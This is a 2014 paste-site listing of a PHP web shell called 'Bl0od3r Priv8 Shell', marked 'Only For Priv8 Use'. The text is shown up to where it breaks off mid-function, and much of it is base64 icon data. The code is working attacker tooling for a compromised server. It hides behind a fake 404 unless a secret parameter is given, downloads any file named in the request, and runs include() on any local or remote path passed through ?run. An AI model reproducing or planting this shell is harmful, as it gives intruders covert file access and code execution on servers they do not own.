Bl0od3r Priv8 Shell - Shells-Center.Com

SUBMITTED BY: Guest

DATE: Sept. 6, 2014, 5:01 a.m.

FORMAT: Text only

SIZE: 50.8 kB

Raw Download

HITS: 836

Report
  1. <?PHP
  3. /*
  5. ver=5
  7. ----------------------Only For Priv8 Use---------------------------------
  9. I dont support illegal actions!
  11. -------------------------------------------------------------------------
  13. dC3 Security Crew
  15. -------------------------------------------------------------------------
  17. By turning "on" safe you can make your shell in 404 Not Find mode if the user doesnt know your OWN set word!
  19. -------------------------------------------------------------------------
  21. Shell written by Bl0od3r
  23. -------------------------------------------------------------------------
  25. Easy file managing with a lot of features!
  27. -------------------------------------------------------------------------
  29. In work:
  31. special file options
  33. -------------------------------------------------------------------------
  35. */
  37. //important
  39. error_reporting(5);
  41. @ignore_user_abort(true);
  43. //
  47. $safe="off";
  49. $word="secret";
  51. if ($safe=="on") {
  53. if (!isset($_GET[$word])) {
  55. header('HTTP/1.0 404 Not Found');
  57. exit;
  59. }
  61. }
  63. $made_by="Bl0od3r";
  65. $of="Netplayazz";
  67. ($made_by=="Bl0od3r") ? $fake=0 : $fake=1;
  69. ($of=="dc3") ? $fake=0 : $fake=1;
  71. $st_dir=".";
  73. $p=str_replace("\\","/",realpath($_GET['file']));
  75. $j_d=$_GET['file'];
  77. $j_f=$_GET['file'];
  79. $filename = $_GET['file'];
  81. $file_info = pathinfo($filename);
  83. $extn = $file_info['extension'];
  89. if (isset($_GET['dir'])) {
  91. $images = array(
  93. "download"=>
  95. "R0lGODlhFAAUALMIAAD/AACAAIAAAMDAwH9/f/8AAP///wAAAP///wAAAAAAAAAAAAAAAAAAAAAA".
  97. "AAAAACH5BAEAAAgALAAAAAAUABQAAAROEMlJq704UyGOvkLhfVU4kpOJSpx5nF9YiCtLf0SuH7pu".
  99. "EYOgcBgkwAiGpHKZzB2JxADASQFCidQJsMfdGqsDJnOQlXTP38przWbX3qgIADs=",
  101. "ext_wri"=>
  103. "R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA".
  105. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao".
  107. "a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=",
  109. "small_dir"=>
  111. "R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA".
  113. "AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp".
  115. "/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=",
  117. "dir"=>"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAAkFBMVEX////MmTT/zGezgRvLmDN/
  119. f3/AjSi6hyK9iiWgbghra2vCjyr/5oGufBbHlC+jcQuwfhiIiIjJljGcagS1gh24hSCebAaZZwGa
  121. aAK0gRzvvFfcqUT4xWC8iSRKSkqreRPCwsK/jCeodhDms06lcw23hB/ToDv/1G//4HvFki3/64X/
  123. 95Fqamr//////5n/9I54UBIWAAAAAXRSTlMAQObYZgAAAAFiS0dELc3aQT0AAAAWdEVYdFNvZnR3
  125. YXJlAGdpZjJwbmcgMi40LjakM4MXAAAAiUlEQVR42oXOxxKCMBgE4CWhVwEp9i4Ekt/3fzuDE0Yd
  127. D3633dnDAr8su0i/stKi40cmTfnebckXU2GPj8k0U0mui2KIxYu7q1acA2kv1CxWWQ7RWTTbUhAi
  129. YjaNxppqCZcJGowLlRI+O1FvbKiV8FhFnXGnJgT0n+RwvmZBXbbN3tFPHPnm4L8nl3EWVP90I8IA
  131. AAAASUVORK5CYII=",
  133. "o.b" => "/9j/4AAQSkZJRgABAgAAZABkAAD/7AARRHVja3kAAQAEAAAAUAAA/+IMWElDQ19QUk9GSUxFAAEB
  135. AAAM***pbm8CEAAAbW50clJHQiBYWVogB84AAgAJAAYAMQAAYWNzcE1TRlQAAAAASUVDIHNSR0IA
  137. AAAAAAAAAAAAAAEAAPbWAAEAAAAA0y1IUCAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  139. AAAAAAAAAAAAAAAAAAAAAAARY3BydAAAAVAAAAAzZGVzYwAAAYQAAABsd3RwdAAAAfAAAAAUYmtw
  141. dAAAAgQAAAAUclhZWgAAAhgAAAAUZ1hZWgAAAiwAAAAUYlhZWgAAAkAAAAAUZG1uZAAAAlQAAABw
  143. ZG1kZAAAAsQAAACIdnVlZAAAA0wAAACGdmlldwAAA9QAAAAkbHVtaQAAA/gAAAAUbWVhcwAABAwA
  145. AAAkdGVjaAAABDAAAAAMclRSQwAABDwAAAgMZ1RSQwAABDwAAAgMYlRSQwAABDwAAAgMdGV4dAAA
  147. AABDb3B5cmlnaHQgKGMpIDE5OTggSGV3bGV0dC1QYWNrYXJkIENvbXBhbnkAAGRlc2MAAAAAAAAA
  149. EnNSR0IgSUVDNjE5NjYtMi4xAAAAAAAAAAAAAAASc1JHQiBJRUM2MTk2Ni0yLjEAAAAAAAAAAAAA
  151. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFhZWiAAAAAAAADzUQABAAAA
  153. ARbMWFlaIAAAAAAAAAAAAAAAAAAAAABYWVogAAAAAAAAb6IAADj1AAADkFhZWiAAAAAAAABimQAA
  155. t4UAABjaWFlaIAAAAAAAACSgAAAPhAAAts9kZXNjAAAAAAAAABZJRUMgaHR0cDovL3d3dy5pZWMu
  157. Y2gAAAAAAAAAAAAAABZJRUMgaHR0cDovL3d3dy5pZWMuY2gAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  159. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAZGVzYwAAAAAAAAAuSUVDIDYxOTY2LTIuMSBEZWZhdWx0
  161. IFJHQiBjb2xvdXIgc3BhY2UgLSBzUkdCAAAAAAAAAAAAAAAuSUVDIDYxOTY2LTIuMSBEZWZhdWx0
  163. IFJHQiBjb2xvdXIgc3BhY2UgLSBzUkdCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGRlc2MAAAAAAAAA
  165. LFJlZmVyZW5jZSBWaWV3aW5nIENvbmRpdGlvbiBpbiBJRUM2MTk2Ni0yLjEAAAAAAAAAAAAAACxS
  167. ZWZlcmVuY2UgVmlld2luZyBDb25kaXRpb24gaW4gSUVDNjE5NjYtMi4xAAAAAAAAAAAAAAAAAAAA
  169. AAAAAAAAAAAAAAB2aWV3AAAAAAATpP4AFF8uABDPFAAD7cwABBMLAANcngAAAAFYWVogAAAAAABM
  171. CVYAUAAAAFcf521lYXMAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAKPAAAAAnNpZyAAAAAAQ1JU
  173. IGN1cnYAAAAAAAAEAAAAAAUACgAPABQAGQAeACMAKAAtADIANwA7AEAARQBKAE8AVABZAF4AYwBo
  175. AG0AcgB3AHwAgQCGAIsAkACVAJoAnwCkAKkArgCyALcAvADBAMYAywDQANUA2wDgAOUA6wDwAPYA
  177. +wEBAQcBDQETARkBHwElASsBMgE4AT4BRQFMAVIBWQFgAWcBbgF1AXwBgwGLAZIBmgGhAakBsQG5
  179. AcEByQHRAdkB4QHpAfIB+gIDAgwCFAIdAiYCLwI4AkECSwJUAl0CZwJxAnoChAKOApgCogKsArYC
  181. wQLLAtUC4ALrAvUDAAMLAxYDIQMtAzgDQwNPA1oDZgNyA34DigOWA6IDrgO6A8cD0wPgA+wD+QQG
  183. BBMEIAQtBDsESARVBGMEcQR+BIwEmgSoBLYExATTBOEE8AT+BQ0FHAUrBToFSQVYBWcFdwWGBZYF
  185. pgW1BcUF1QXlBfYGBgYWBicGNwZIBlkGagZ7BowGnQavBsAG0QbjBvUHBwcZBysHPQdPB2EHdAeG
  187. B5kHrAe/B9IH5Qf4CAsIHwgyCEYIWghuCIIIlgiqCL4I0gjnCPsJEAklCToJTwlkCXkJjwmkCboJ
  189. zwnlCfsKEQonCj0KVApqCoEKmAquCsUK3ArzCwsLIgs5C1ELaQuAC5gLsAvIC+EL+QwSDCoMQwxc
  191. DHUMjgynDMAM2QzzDQ0NJg1ADVoNdA2ODakNww3eDfgOEw4uDkkOZA5/DpsOtg7SDu4PCQ8lD0EP
  193. Xg96D5YPsw/PD+wQCRAmEEMQYRB+EJsQuRDXEPURExExEU8RbRGMEaoRyRHoEgcSJhJFEmQShBKj
  195. EsMS4xMDEyMTQxNjE4MTpBPFE+UUBhQnFEkUahSLFK0UzhTwFRIVNBVWFXgVmxW9FeAWAxYmFkkW
  197. bBaPFrIW1hb6Fx0XQRdlF4kXrhfSF/cYGxhAGGUYihivGNUY+hkgGUUZaxmRGbcZ3RoEGioaURp3
  199. Gp4axRrsGxQbOxtjG4obshvaHAIcKhxSHHscoxzMHPUdHh1HHXAdmR3DHeweFh5AHmoelB6+Hukf
  201. Ex8+H2kflB+/H+ogFSBBIGwgmCDEIPAhHCFIIXUhoSHOIfsiJyJVIoIiryLdIwojOCNmI5QjwiPw
  203. JB8kTSR8JKsk2iUJJTglaCWXJccl9yYnJlcmhya3JugnGCdJJ3onqyfcKA0oPyhxKKIo1CkGKTgp
  205. aymdKdAqAio1KmgqmyrPKwIrNitpK50r0SwFLDksbiyiLNctDC1BLXYtqy3hLhYuTC6CLrcu7i8k
  207. L1ovkS/HL/4wNTBsMKQw2zESMUoxgjG6MfIyKjJjMpsy1DMNM0YzfzO4M/E0KzRlNJ402DUTNU01
  209. hzXCNf02NzZyNq426TckN2A3nDfXOBQ4UDiMOMg5BTlCOX85vDn5OjY6dDqyOu87LTtrO6o76Dwn
  211. PGU8pDzjPSI9YT2hPeA+ID5gPqA+4D8hP2E/oj/iQCNAZECmQOdBKUFqQaxB7kIwQnJCtUL3QzpD
  213. fUPARANER0SKRM5FEkVVRZpF3kYiRmdGq0bwRzVHe0fASAVIS0iRSNdJHUljSalJ8Eo3Sn1KxEsM
  215. S1NLmkviTCpMcky6TQJNSk2TTdxOJU5uTrdPAE9JT5NP3VAnUHFQu1EGUVBRm1HmUjFSfFLHUxNT
  217. X1OqU/ZUQlSPVNtVKFV1VcJWD1ZcVqlW91dEV5JX4FgvWH1Yy1kaWWlZuFoHWlZaplr1W0VblVvl
  219. XDVchlzWXSddeF3JXhpebF69Xw9fYV+zYAVgV2CqYPxhT2GiYfViSWKcYvBjQ2OXY+tkQGSUZOll
  221. PWWSZedmPWaSZuhnPWeTZ+loP2iWaOxpQ2maafFqSGqfavdrT2una/9sV2yvbQhtYG25bhJua27E
  223. bx5veG/RcCtwhnDgcTpxlXHwcktypnMBc11zuHQUdHB0zHUodYV14XY+dpt2+HdWd7N4EXhueMx5
  225. KnmJeed6RnqlewR7Y3vCfCF8gXzhfUF9oX4BfmJ+wn8jf4R/5YBHgKiBCoFrgc2CMIKSgvSDV4O6
  227. hB2EgITjhUeFq4YOhnKG14c7h5+IBIhpiM6JM4mZif6KZIrKizCLlov8jGOMyo0xjZiN/45mjs6P
  229. No+ekAaQbpDWkT+RqJIRknqS45NNk7aUIJSKlPSVX5XJljSWn5cKl3WX4JhMmLiZJJmQmfyaaJrV
  231. m0Kbr5wcnImc951kndKeQJ6unx2fi5/6oGmg2KFHobaiJqKWowajdqPmpFakx6U4pammGqaLpv2n
  233. bqfgqFKoxKk3qamqHKqPqwKrdavprFys0K1ErbiuLa6hrxavi7AAsHWw6rFgsdayS7LCszizrrQl
  235. tJy1E7WKtgG2ebbwt2i34LhZuNG5SrnCuju6tbsuu6e8IbybvRW9j74KvoS+/796v/XAcMDswWfB
  237. 48JfwtvDWMPUxFHEzsVLxcjGRsbDx0HHv8g9yLzJOsm5yjjKt8s2y7bMNcy1zTXNtc42zrbPN8+4
  239. 0DnQutE80b7SP9LB00TTxtRJ1MvVTtXR1lXW2Ndc1+DYZNjo2WzZ8dp22vvbgNwF3IrdEN2W3hze
  241. ot8p36/gNuC94UThzOJT4tvjY+Pr5HPk/OWE5g3mlucf56noMui86Ubp0Opb6uXrcOv77IbtEe2c
  243. 7ijutO9A78zwWPDl8XLx//KM8xnzp/Q09ML1UPXe9m32+/eK+Bn4qPk4+cf6V/rn+3f8B/yY/Sn9
  245. uv5L/tz/bf///+4AJkFkb2JlAGTAAAAAAQMAFQQDBgoNAAARtgAAF0YAABuaAAAgJv/bAIQAAgIC
  247. AgICAgICAgMCAgIDBAMCAgMEBQQEBAQEBQYFBQUFBQUGBgcHCAcHBgkJCgoJCQwMDAwMDAwMDAwM
  249. DAwMDAEDAwMFBAUJBgYJDQsJCw0PDg4ODg8PDAwMDAwPDwwMDAwMDA8MDAwMDAwMDAwMDAwMDAwM
  251. DAwMDAwMDAwMDAwM/8IAEQgAHgK8AwERAAIRAQMRAf/EALsAAQACAwEBAAAAAAAAAAAAAAADBQIE
  253. BgEHAQEAAAAAAAAAAAAAAAAAAAAAEAACAgMBAQADAQEBAAAAAAAAEwQFAiIDARQREhWAIyQRAAAE
  255. BQIDBwMBBwUAAAAAAAABAgMx0ZMENBEhEhMzQVFhkZLS4nGBIuEQQKGxYmMUMkKiIyQSAQAAAAAA
  257. AAAAAAAAAAAAAIATAAIBAgYDAAIDAQEAAAAAAAERACFRMUFhodHxEHGR8IFQgMGxMP/aAAwDAQAC
  259. EQMRAAAB+DlmAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADmDnDbAAAAAAAAANg+hkJr
  261. mwCrNcwK8rzvwZFCbZgYFaWJyR0ZAWpYmZCaJrkpWm8WRXG4RmkRnOnUghOlMDwyPCkNQyOeAAAA
  263. AAAAKgoSUAAAAAAAAAlO1PQeA1DwgN8hJDly4NY1SMgL8ozWL0ri5MCpOkMyIhKMti0OMLMvCMHI
  265. nTk5ARFUdSSnhqkxrHJAAAAAAAAGoVR6AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADA
  267. /9oACAEBAAEFAoXOu9hqrBVYKrBVYKrBVYKrBVYKrBVYKrBVYKrBVYKrBVYKrBVYKrBVYKrBVYKr
  269. BVYKrBVYKrBVYKrBVYKrBVYKrBVYKrBVYKrBVYKrBVYKrBVYKrBVYKrBVYKrBVYKrBVYKrBVYKrB
  271. VYKrBVYKrBVYKrBVYKrBVYKrBVYKrBVYKrBVYKrBVYKrBVYKrBVYKrBVYKrBVYKrBVYKrBVYKrBV
  273. YKrBVYLg/wBmP2/HB48ePHjx48ePHjx48ePHjx5y6/v0zjxsMkxzlyj9JKY4mOYfHyh/ZUj4HXOd
  275. ljwlYdv2z8jR3pjnzxvcOnsbjhx7Vnfr1kVfLpzw5yY/yzjnHzwjvIWPknl8s4jRc/xz4R0JjnWN
  277. wZ1kVfLp9lSc8eUnl8s495fPDw4cMu3suq89j9KyT1x8i8o/2Vh17xcuDyH8+Ub7Kk6S633D543m
  279. KY5lGj/QmOJjmePLyJh+ntfxXnBePHjx48ePHjx48ePHjx43/wB+HX8YOHDhw4cOHDhw4cOHDhw4
  281. cOMO2Pmf9WAf1oB5d8fp/qwD+rAOdnE9i/bUGc6Bj71sqztn5Oqcfc7nDLL7pBxtPxHkz8e3CJM8
  283. jyJErzt3xldMDja5YRspnbLxxFsfI/H7pBEtfeJItPenL7pB5cY/jOwqumf21B5Z8efL7pBjZ/mJ
  285. hc8sevvf8+wp2MaRhaxfeX21B2s4vyOIdlw48PtqDpMrPecq0y7H3yPD+zx9le20D0/qwDnaRVeW
  287. dd5w6WcTyK4cOHDhw4cOHDhw4cOHDhn/AH8/b8bm5ubm5ubm5ubm5ubm5ubm5ubm5ubm5ubm5ubm
  289. 5ubm5ubm5ubm5ubm5ubm5ubm5ubm5ubm5ubm5ubm5ubm5ubm5ubm5ubm5ubm5ubm5ubm5ubm5ubm
  291. 5t+3/9oACAECAAEFAv8AMH//2gAIAQMAAQUC/wAwf//aAAgBAgIGPwIwf//aAAgBAwIGPwIwf//a
  293. AAgBAQEGPwK047K3Uvko4lG2kzM+EvAYFtSRIYFtSRIYFtSRIYFtSRIYFtSRIYFtSRIYFtSRIYFt
  295. SRIYFtSRIYFtSRIYFtSRIYFtSRIYFtSRIYFtSRIYFtSRIYFtSRIYFtSRIYFtSRIYFtSRIYFtSRIY
  297. FtSRIYFtSRIYFtSRIYFtSRIYFtSRIYFtSRIYFtSRIYFtSRIYFtSRIYFtSRIYFtSRIYFtSRIYFtSR
  299. IYFtSRIYFtSRIYFtSRIYFtSRIYFtSRIYFtSRIYFtSRIYFtSRIYFtSRIYFtSRIYFtSRIYFtSRIYFt
  301. SRIYFtSRIYFtSRIYFtSRIYFtSRIYFtSRIYFtSRIYFtSRIYFtSRIYFtSRIYFtSRIYFtSRIYFtSRIY
  303. FtSRIYFtSRIYFtSRIYFtSRIYFtSRIYFtSRIYFtSRIYFtSRIYFtSRIYFtSRIYFtSRIYFtSRIYFtSR
  305. IYFtSRIYFtSRIYFtSRIYFtSRIYFtSRIYFtSRIYFtSRIYFtSRIYFtSRIYFtSRIYFtSRIYFtSRIYFt
  307. SRIYFtSRIYFtSRIaf4jHJ/wteXy08PFzI6aRDJawQn+QiIiIiIiIiIiIiIiIiIiIiIiIiG0meylE
  309. RjQrR5z+pKtv4qGDceZe8Otmy4hKGyMm1Hvr5jBuPMveMG48y94ZuLhK1m6f+0/1IdF7z+QZbZbc
  311. SpbqSVxH2Ge/aHWm9kp00L7EEEcDMiMXKeWpRNJQaUke++viMG48y94dP/HdZ4UmZKUclGLB1xKj
  313. Q8lRvER7nsWgS0hp0lLhqfyC21NO8SD0PQ/kLpy3QrjSv/pSZ9m3iOifmUxdOXKDSpCdWd/qIi72
  315. 4nG0lyt+09R0T8ymHjumzSSUao37fsGFmw68pxBKUaT7y+pDBuPMveLQiStsnlGS0Ge8NQttTTvE
  317. g9D0P5DovefyF2u3QrVJlyEme/8AMdE/Mph165SZOmfC0nWQtkaHwuMcxe8T2BlyXtvH5AmkNOko
  319. +0z/AFDjzyVOcLpo2PuPQY7vq/ULWxbPJ025p7pL6iIfubglKJo9NEmOi95/IK5bTpOafgZ9/qDf
  321. /mdd4kkZmg5qIYNx5l7xbI4VJS6hRqQZ77aDCfPx1L3jBuPMveLh4kmlaHjQkjOBawDtwfUS5wke
  323. vZsLl8+o2eiT1+giIiIiIiIiIiIiIiIiIiIiIji/saf8ggu4i/dEmvdOv5F4DpXFRXuHSuKivcHX
  325. jbXwLbJBEUR0rior3DpXFRXuDVvcsKc5UND/AFIYbnqP3BpdtbLQ424lWpn2F2RMG45auKWqJ6/I
  327. EorNzUty/L5C8USVJN9CUtH3aazHXc9Ri4t3zW4TpfgrWB/cWjSSMjt0mSjP7SDbytTJESIOulsS
  329. 1GZEY/BxSNY6HoLhpa3FOOdNesBop5ai7jM/2XSPy430kSFF2aazHXc9Rh7nKW7zEcKd9dPMWqGl
  331. Lb5LfCvfTWHcOu56jFlqSlKtj1cM+3bQKWu0cNSz1UfF8hhueo/cLtphK2+cZG1v/p0+467nqMPW
  333. z/E4aj1aXHQ/uLdzgXo0zyzhHYGfeEvLI1EnXYvEOM3DKnEKdUstD79+8YbnqP3By1tmVNk4ZGep
  335. /TxPu/Y7b3DanEOnrsMNz1H7gsmrVaXDL8FGo9j9Qa5K1tEhBJUWum/2HXX6jDVyaF6pb4HE7R8B
  337. ryrjf+4r3DpXFRXuD7DzS1NuOmtO++nZruFW5W7vKWriMte3zDttbMrRzYmo/wBy4v6NP4gthAQE
  339. BAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQE
  341. BAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEN9B//9oACAEBAwE/ITmZHr8Akmok/wAMoUKFChQo
  343. UKFChQoUKFChQoUKFChQoUKFChQoUKFChQo/hVChQoUKFChQoUKFChQoUKFChQoUKFChQoUKFChQ
  345. oUKFH/ooUKFChQoUKFChR+KCLQoo4XJi+BHh4eHh4eHh4eHh4eHh4eHh4eHgJWFfsiVCgQGUb4nb
  347. wmxRIsYnAgxX35TJiOvw1GctDwYT/Q1CkChxkFXCTibP3Hq+MEytZr7GumFvCYuwjDTAygIoSEwU
  349. DIzMNthFSoHkUJllnoMWg+IAFJFYg4MH4MBPrIc6bA+o8Hp1mE+nTwYfbAtr2gQQoOhAc7/hMC9M
  351. Ko1DbIwmWWegxZh4MP3D6AoG8F/BgIKLkjzq9n9Q9qAH/A4SDSUAjlJCQoHkcX2vpFIZjxiT0GAM
  353. SmGCZGBjwtBNAKphUX8GBs2JigyOqMzAVUyPATAgGD1DSwJveEZIpjgWfBNWObIAIYMhiVeLtl6f
  355. 3BBZIbSg0fuPDw8PDw8PDw8PDw8PDw8PDw+L+UysmC2ntPae09p7T2ntPae09p7T2ntPae09p7T2
  357. ntGiDEjxLVHhuAEEMFRWms0XhgJJJrr5z533sSSg2a0Jn4CEuISyCVmrGif5V4aCFAAwEGaFBGNR
  359. ARWkIZDUa7J+Vf7D59qhVm2GEXo6xEkYIBaXJxFQRnGi4ugAmOdYJvkupHf2S4RHHE0PhM9obdQK
  361. mxDWPyr/AGAhHEDiL1QkfEcIIAGG0n5V/sFf9JDGVBeucOkYwDJ0HgEAzS0VAjZqn5V/sGe1tWBc
  363. lgx/2G4RPxHMFcKSs2ImCcEBS6FnBmZNFCRoMPATHzyoMEiakyT2gDKSBq1MQcvAQ2DIIBkHFDmc
  365. mkGdUBQIeKjslRwQKDdVCBJhM0vHOKK84xhBAizCvMDYDvBnVlGOkCwGI1Np7T2ntPae09p7T2nt
  367. Pae09p7T2ntPae0vJCpCSpHc2jubR3No7m0dzaO5tHc2jubR3No7m0dzaO5tHc2jubR3No7m0dza
  369. O5tHc2jubR3No7m0dzaO5tHc2jubR3No7m0dzaO5tHc2jubR3No7m0dzaO5tHc2jubR3No7m0dza
  371. O5tHc2jubR3No7m0dzaO5tHc2jubR3No7m0dzaO5tHc2jubR3No7m0dzaO5tHc2jubR3No7m0dza
  373. O5tHc2jubR3No7m0dzaO5tHc2jubR3No7m0dzaO5tHc2jubR3No7m0dzaO5tHc2jubR5ixpP/9oA
  375. CAECAwE/If6wf//aAAgBAwMBPyH+sH//2gAMAwEAAhEDEQAAEBJJJJJJJJJJJJJJJJJJJJJJJJJJ
  377. JJJJJJJJJJJJJJJJJBJJJJJJJJJAIJBJBJAAIJJJBIJBBBJJBJJBJJJJJJJJJBJJJJJJJJJAIJJB
  379. JJJBJJIBBIJIJIIIJJIJJJJJJJJJJBJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJIP/a
  381. AAgBAQMBPxApS1RSHwsCSSyf4aLFixYsWLFixYsWLFixYsWLFixYsWLFixYsWLFixYsWL/CxYsWL
  383. FixYsWLFixYsWLFixYsWLFixYsWLFixYsWLFixf/AEixYsWLFixYsWLF4Oluyo1TCNWFPdlNd9mu
  385. +zXfZrvs132a77Nd9mu+zXfZrvs132a77Nd9mu+zXfZrvs132a77Nd9hDoCEIDJH0YKJQIKsDpgW
  387. BfgWUacgTAkoAgLreSxYtgGTAgEigAAvbnQJqy1XRBCSCWEVMchsge1InEoImkEAkMAH/sdKetgQ
  389. kASVTK8FiNrM/AhGUmWFC84tGEEIJ5RFIeaZNEkqJGAtGH9aGVEkQK9iYINvSQJEWxHx2GpQBhIZ
  391. Bwa5prvsetQWpqEgLI4+OzcwGApE5roM4Eu/YDCCBAMieFfBZSsOoDACQEHAbkYf0IZUWIX6nQJO
  393. w62AFEGLNU+OxSbDMMAANgOKD/1AqpAOSsWwMaELlEEQCYKpJE9qwuJkvAWgb+ClcKADkz4Up5Qz
  395. TxEJQAcyJrvsqBdIAhhBpJzmdAkR8IeVKsg9DCCV0agEguPOgXgsWiK8GNikQ4KIUpBfAIBQg4hg
  397. UfXgsdzaMhkEYAkEs+4YONNACBEVI48oB1UQAmcCjixmu+zXfZrvs132a77Nd9mu+zXfZrvs132a
  399. 77Nd9mu+zXfZrvs132a77M4vHcD0bsgCNLS0tLS0tLS0tLS0tLS0tLS0tIQCaCCAiIIRIYxgGAAE
  401. DASu6kMCYrUEwf3KKyAa4AFNgEfJ07XjXnEUNgCkGnjzgoF87YASAqpafa6qSEAUEPAOQwIwUTBq
  403. M4GXOYNycAq0VeCVEHAwaqASwJA3vKOkSCoKklVYxMho3wRgMTBArTKiAKJDmW1ZMYNg04tgNRQA
  405. GRfqJaO7aLDIEaRCItkwsQioJeCRUlgMCuoUccoQc7MHmIirHwSa3ykQMExEkVRUH0VJkoAfoePN
  407. LB4gFFJyQcCcfBIXbhwohAYUGGRgsMQ9QNhxcYrSACA4olyporJJQTAYmCrSWztEgkcivHkkjWVT
  409. KECVLCNI5BU2AAEisiJBB8eTTWGAFQEBAOhizrgQGlgEml44rQwwYrgUMIDTlBFQzCyW1RRpsEBM
  411. llACB+vB1rBwQDohIMs84NBEfCBQcNho4ThDyEQUlvwUCNLS0tLS0tLS0tLS0tLS0tLS32X3K0CG
  413. YwXud1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1
  415. yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3
  417. XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yn
  419. dcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcpi/Yhm9z//2gAI
  421. AQIDAT8Q/rB//9oACAEDAwE/EP6wf//Z");
  423. header("Content-type: image/gif");
  425. header("Cache-control: public");
  427. header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
  429. header("Cache-control: max-age=".(60*60*24*7));
  431. header("Last-Modified: ".date("r",filemtime(__FILE__)));
  433. echo base64_decode($images[$_GET['pic']]);
  435. }
  439. $ps=str_replace("\\","/",getenv('DOCUMENT_ROOT'));
  441. //file_array
  443. $file_tps=array(
  445. "img"=>array("jpg","bmp","gif","ico"),
  447. "act" => array("edit","copy","download","delete"),
  449. "zip" => array("gzip","zip","rar")
  451. );
  453. $surl_autofill_include = true; //If true then search variables with descriptors (URLs) and save it in SURL.
  457. if ($surl_autofill_include and !$_REQUEST["c99sh_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}}
  459. if (empty($surl))
  461. {
  463. $surl = "?".$includestr; //Self url
  465. }
  467. $surl = htmlspecialchars($surl);
  469. @ob_clean();
  471. //end
  473. if (isset($_GET['img'])) {
  475. for ($i=0;$i<4;$i++) {
  477. if (preg_match("/".$file_tps["img"][$i]."/i",$extn)) {
  479. header("Content-type: ".$inf["mime"]);
  481. readfile(urldecode($filename));
  483. exit;
  487. }
  489. }
  491. }
  497. if (!function_exists(download)) {
  499. function download($file) {
  501. header('Pragma: anytextexeptno-cache', true);
  503. header('Content-type: application/force-download');
  505. header('Content-Transfer-Encoding: Binary');
  507. header('Content-length: '.filesize($file));
  509. header('Content-disposition: attachment;
  511. filename='.basename($file));
  513. readfile($file);
  515. exit;
  517. }
  519. }
  521. if (isset($_GET['download'])) {
  523. download($filename);
  525. exit;
  527. }
  531. if (isset($_GET['run'])) {
  533. echo urldecode($_GET['file']);
  535. include(urldecode($_GET['file']));
  537. exit;
  539. }
  545. function check_update()
  547. {
  549. $cur_ver=5; //very important value for updates!Please dont change!
  551. $newer=$cur_ver+1;
  553. $url="http://dc3.dl.am/";
  555. $file=@fopen($url."".$newer.".txt","r") or die ("No updates aviable!");
  557. $text=fread($file,1000000);
  559. if (preg_match("/ver=".$newer."/i", $text)) {
  561. echo "[+]Update Aviable!...Please download new version from:";
  563. echo "<br><a href=".$url.$newer.".txt>Version ".$newer."</a>";
  565. } }
  569. function get_perms($mode)
  571. {
  573. if (($mode & 0xC000) === 0xC000) {$type = "s";}
  575. elseif (($mode & 0x4000) === 0x4000) {$type = "d";}
  577. elseif (($mode & 0xA000) === 0xA000) {$type = "l";}
  579. elseif (($mode & 0x8000) === 0x8000) {$type = "-";}
  581. elseif (($mode & 0x6000) === 0x6000) {$type = "b";}
  583. elseif (($mode & 0x2000) === 0x2000) {$type = "c";}
  585. elseif (($mode & 0x1000) === 0x1000) {$type = "p";}
  587. else {$type = "?";}
  591. $owner["read"] = ($mode & 00400)?"r":"-";
  593. $owner["write"] = ($mode & 00200)?"w":"-";
  595. $owner["execute"] = ($mode & 00100)?"x":"-";
  597. $group["read"] = ($mode & 00040)?"r":"-";
  599. $group["write"] = ($mode & 00020)?"w":"-";
  601. $group["execute"] = ($mode & 00010)?"x":"-";
  603. $world["read"] = ($mode & 00004)?"r":"-";
  605. $world["write"] = ($mode & 00002)? "w":"-";
  607. $world["execute"] = ($mode & 00001)?"x":"-";
  611. if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";}
  613. if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";}
  615. if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";}
  619. echo $type.join("",$owner).join("",$group).join("",$world);
  621. }
  629. if (!function_exists(get_space)) {
